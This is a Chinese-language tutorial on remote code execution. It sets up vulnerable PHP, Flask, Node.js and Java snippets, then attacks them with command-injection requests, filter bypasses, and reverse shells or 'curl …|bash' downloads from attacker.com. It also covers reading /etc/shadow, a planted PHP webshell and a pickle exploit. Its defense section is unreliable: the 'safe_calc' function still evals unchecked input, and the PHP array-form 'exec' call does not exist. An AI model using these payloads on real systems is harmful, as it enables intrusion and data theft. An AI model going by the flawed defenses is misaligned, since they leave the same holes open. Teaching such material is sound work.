一、什么是远程命令执行(RCE)

远程命令执行(Remote Code Execution, RCE)是指攻击者通过网络在目标服务器上执行任意命令或代码的漏洞总称。RCE 是 OWASP Top 10 中最严重的漏洞类型之一,攻击者可以借此完全接管服务器、窃取数据、植入后门。

1.1 RCE 的三大核心分支

分支 英文名称 核心区别 执行环境 典型危险函数
命令注入 OS Command Injection 注入操作系统 shell 命令 操作系统 Shell PHP exec(), Python os.system(), Java Runtime.exec()
代码注入 Code Injection 注入编程语言代码 应用进程内的解释器 PHP eval(), Python eval(), Node.js eval()
反序列化RCE Deserialization RCE 构造恶意序列化数据 反序列化过程本身 Java ObjectInputStream.readObject(), PHP unserialize()

1.2 为什么要分类?

误把代码注入当命令注入来测试,很可能完全打不通。 举个例子:

# 命令注入 Payload(尝试执行 shell 命令)
?name=admin;whoami
?name=admin|id
?name=$(cat /etc/passwd)

# 代码注入 Payload(尝试执行 PHP 代码)
?name=1);phpinfo();//
?name=${system('whoami')}

二、命令注入(OS Command Injection)

2.1 原理

当应用程序将用户输入拼接进 shell 命令并执行时,攻击者可以通过特殊字符注入额外的命令。

2.2 危险拼接模式

// PHP - 经典命令注入
$file = $_GET['file'];
exec("grep " . $file . " /var/log/app.log");
// 攻击: ?file=test;rm -rf /

// Python
filename = request.args.get('file')
os.system('cat ' + filename)
# 攻击: ?file=foo;cat /etc/passwd

// Node.js
const userInput = req.query.ip;
child_process.exec('ping -c 1 ' + userInput);
// 攻击: ?ip=127.0.0.1;id

2.3 命令分隔符速查表

Linux/Unix:
  ;     前一条命令执行完执行后一条
  |     管道,前一条输出作为后一条输入
  ||    前一条失败则执行后一条
  &&    前一条成功则执行后一条
  &     后台执行
  $()   命令替换
  ``  命令替换
  
    换行(等价于回车,shell 会解析为新命令)
  > /dev/null 2>&1  静默执行

Windows:
  &     命令连接
  |     管道
  ||    或
  &&    与
  %VAR% 环境变量
  ^     转义符
  |^|   Win下管道绕过

2.4 实战 PoC:PHP 命令注入

<?php
// 漏洞代码 - ping 功能
$ip = $_GET['target'];
// 直接拼接用户输入到 shell 命令
$result = shell_exec("ping -c 4 " . $ip);
echo "<pre>" . $result . "</pre>";
?>

攻击请求:

GET /ping.php?target=127.0.0.1;whoami
GET /ping.php?target=127.0.0.1|id
GET /ping.php?target=$(cat /etc/passwd)
GET /ping.php?target=127.0.0.1%0ad%0ai
GET /ping.php?target=127.0.0.1&&cat /etc/shadow

2.5 实战 PoC:Python Flask 命令注入

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/backup')
def backup():
    filename = request.args.get('name', 'backup.sql')
    # 危险:直接拼接
    cmd = "mysqldump -u root db > /backups/" + filename
    os.system(cmd)
    return "Backup started"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

攻击 Payload:

import requests
# 注入命令
r = requests.get('http://target:5000/backup?name=evil.sql;curl http://attacker/shell.sh|bash')
print(r.text)

2.6 命令注入绕过技巧

绕过引号过滤

# 如果单引号被过滤,可以用双引号
"id"

# 如果引号都被过滤,可以用变量
$('id')  # bash 支持
$(i$(echo d))

# base64 编码绕过
$(echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci8xMjM0IDA+JjE=|base64 -d|bash)

# 通配符绕过命令名过滤
/bin/?at /etc/passwd
????????? /etc/passwd  # /bin/cat

绕过黑名单关键字

# 关键字 cat 被过滤
ca	 /etc/passwd      # tab 嵌入
c''at /etc/passwd     # 空字符拼接
ca$@t /etc/passwd    # 特殊变量
c$(echo at) /etc/passwd

# 空格被过滤
</etc/passwd          # 重定向
cat<passwd
cat${IFS}/etc/passwd
cat$(echo${IFS}/etc/passwd)

三、代码注入(Code Injection)

3.1 原理

代码注入是将目标语言的代码注入到应用中,由应用自身的解释器执行。与命令注入不同,代码注入不依赖 shell。

3.2 PHP eval 注入

<?php
// 漏洞代码
$action = $_GET['action'];
// 直接将用户输入作为 PHP 代码执行
eval("$result = strtoupper('" . $action . "');");
echo $result;
?>

攻击请求:

GET /test.php?action=a');phpinfo();//
GET /test.php?action=a');system('whoami');exit();//
GET /test.php?action=');file_put_contents('/tmp/shell.php','<?php eval($_POST[cmd]);');//

3.3 Python eval/exec 注入

from flask import Flask, request

app = Flask(__name__)

@app.route('/calc')
def calc():
    expression = request.args.get('expr', '1+1')
    # 危险!直接 eval 用户输入
    result = eval(expression)
    return str(result)

if __name__ == '__main__':
    app.run(port=5000)

攻击 Payload:

# 简单命令执行
__import__('os').system('whoami')

# 反弹 shell
__import__('socket').socket(2,1).connect(('attacker.com',4444));__import__('os').dup2(0,0);__import__('os').dup2(0,1);__import__('os').dup2(0,2);__import__('subprocess').call(['/bin/bash'])

# 读取文件
open('/etc/passwd').read()

3.4 Node.js 代码注入

const express = require('express');
const app = express();

app.get('/calc', (req, res) => {
  const expr = req.query.expr;
  // 危险!直接 eval
  const result = eval(expr);
  res.send(String(result));
});

app.listen(3000);

攻击 Payload:

// 命令执行
require('child_process').execSync('whoami').toString()

// 反弹 shell
require('child_process').exec('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"')

3.5 代码注入 vs 命令注入对比

# 代码注入在应用进程内执行
# 可以访问应用的内存、数据库连接、配置等
# 执行效率更高,无需启动新进程

# 命令注入在操作系统层面执行
# 功能更强大,可以访问所有系统命令
# 可以脱离应用权限限制(如果应用权限高)

# 实际攻击中两者经常配合使用
# 代码注入 -> 调用 system() -> 命令执行
# 命令注入 -> 下载恶意脚本 -> 代码执行

四、反序列化 RCE

4.1 基本概念

反序列化漏洞发生在应用从不可信来源接收序列化数据并直接反序列化时。攻击者构造的恶意对象在反序列化过程中触发代码执行。

4.2 Java 反序列化 PoC

// 服务端漏洞代码
import java.io.*;

public class VulnServer {
    public void processRequest(byte[] data) throws Exception {
        // 直接反序列化外部数据
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
        Object obj = ois.readObject();  // RCE 触发点
        ois.close();
    }
}

4.3 CommonsCollections 利用链简要说明

利用链调用路径:

ObjectInputStream.readObject()
  -> PriorityQueue.readObject()
    -> TransformingComparator.compare()
      -> InvokerTransformer.transform()
        -> Method.invoke()
          -> Runtime.exec()

关键组件:
  - TransformingComparator: 持有 Transformer,在 compare() 中调用 transform()
  - InvokerTransformer: 反射调用任意方法
  - ChainedTransformer: 链式调用多个 Transformer
  - LazyMap: 在 get() 时触发 factory.transform()

4.4 Python pickle 反序列化

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('whoami',))

# 攻击数据
malicious_pickle = pickle.dumps(Exploit())

# 服务端漏洞代码
# data = request.body
# obj = pickle.loads(data)  # 执行 os.system('whoami')

4.5 PHP unserialize 漏洞

// 攻击 Payload 示例(利用 __destruct 触发)
// 使用 PHPGGC 工具生成
// phpggc Laravel/RCE1 system whoami

$payload = 'O:24:"Illuminate\Support\Facades\Request":1:{s:7:"*request";O:32:"Illuminate\Http\Request":1:{s:11:"*container";O:15:"StdClass":0:{}}}';
// 实际利用链更长,使用工具生成

五、实战区分:如何判断 RCE 类型

5.1 信息收集阶段

1. 识别后端技术栈
   - 响应头 Server、X-Powered-By
   - 页面错误信息
   - 文件扩展名 .php / .jsp / .aspx / .py
   - 端口扫描常见中间件

2. 判断危险函数使用场景
   - 文件操作(可能调用 shell 命令)
   - 模板渲染(可能 eval 或模板注入)
   - 数据反序列化(Java/PHP/Python)
   - 富文本解析(可能 XXE -> SSRF -> RCE)

5.2 逐步探测方法

Step 1: 先测命令注入
  输入: ;echo INJECTED_TEST
  观察: 输出中是否出现 INJECTED_TEST

Step 2: 再测代码注入
  PHP: phpinfo();//
  Python: __import__('os').system('echo INJECTED_TEST')
  Node.js: require('os').hostname()

Step 3: 检测反序列化入口
  Java: 发送序列化流(ac ed开头)看是否报错
  PHP: 发送序列化字符串看是否触发 __wakeup / __destruct
  Python: 发送 pickle 数据看是否反序列化异常

5.3 真实漏洞案例分类

漏洞 类型 影响
Apache CommonsCollections 反序列化RCE WebLogic、WebSphere、JBoss
Spring Actuator Jolokia 反序列化RCE Spring Boot 应用
ThinkPHP 5.x 代码注入 PHP CMS
Laravel Debug Mode 代码注入 PHP 框架
Jenkins Script Console 代码注入 Java CI
Java RMI 默认端口 反序列化RCE 任何暴露 RMI 的 Java 服务
phpMyAdmin setup.php 命令注入 MySQL 管理工具

六、综合实战场景

假设你发现一个文件上传功能,并且响应头显示 X-Powered-By: PHP/7.4

// 服务端代码(从源码泄露中获得)
function generateThumbnail($imagePath) {
    $size = $_GET['size'] ?? '100x100';
    // 危险:直接拼接 shell 命令
    $cmd = "convert " . escapeshellarg($imagePath) . 
           " -resize " . $size . " thumb_" . $imagePath;
    exec($cmd, $output);
    return $output;
}

攻击流程:

1. 发现入口
   POST /upload 上传图片
   GET /thumbnail?img=xxx.jpg&size=参数可控

2. 测试命令注入
   GET /thumbnail?img=a.jpg&size=100;curl http://attacker.com/shell.sh|bash

3. 测试代码注入(如果命令注入不通)
   也许 size 被传入某个模板引擎
   GET /thumbnail?size=${system('id')}

4. 如果都不通,考虑反序列化
   上传 .php 文件可能被阻止
   但如果上传后有读取并处理的逻辑...

七、防御方案总结

7.1 命令注入防御

<?php
// 正确做法:使用白名单 + 安全 API
$ALLOWED_SIZES = ['100x100', '200x200', '500x500'];
$size = $_GET['size'];

if (!in_array($size, $ALLOWED_SIZES)) {
    die('Invalid size');
}

// 使用数组形式调用 exec,避免 shell 解析
exec('convert', [$imagePath, '-resize', $size, 'thumb_'.$imagePath]);
// 或者使用 escapeshellarg 对每个参数转义
$cmd = 'convert ' . escapeshellarg($imagePath) . ' -resize ' . escapeshellarg($size);
?>

7.2 代码注入防御

# 避免使用 eval/exec,改用安全方案
import ast

def safe_calc(expr):
    # 只允许基础运算
    allowed = ast.Expression
    try:
        tree = ast.parse(expr, mode='eval')
        # 检查节点是否都是安全类型
        return eval(compile(tree, '<string>', 'eval'))
    except SyntaxError:
        return None

7.3 反序列化防御

// Java: 使用白名单过滤
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED = Set.of(
        "com.example.User",
        "com.example.Order"
    );
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) {
        if (!ALLOWED.contains(desc.getName())) {
            throw new SecurityException("Unauthorized class: " + desc.getName());
        }
        return super.resolveClass(desc);
    }
}

八、总结

场景 可能漏洞类型 首选测试 Payload
文件操作 + Shell 命令注入 ;whoami
模板渲染 代码/表达式注入 {{7*7}}
数据导入/导出 反序列化 发送序列化流测试
动态脚本执行 代码注入 eval('phpinfo()')

核心心法: 先识别技术栈,再定位危险函数,最后选择对应类型的 Payload。不要混淆不同类型的 Payload,否则会浪费大量时间。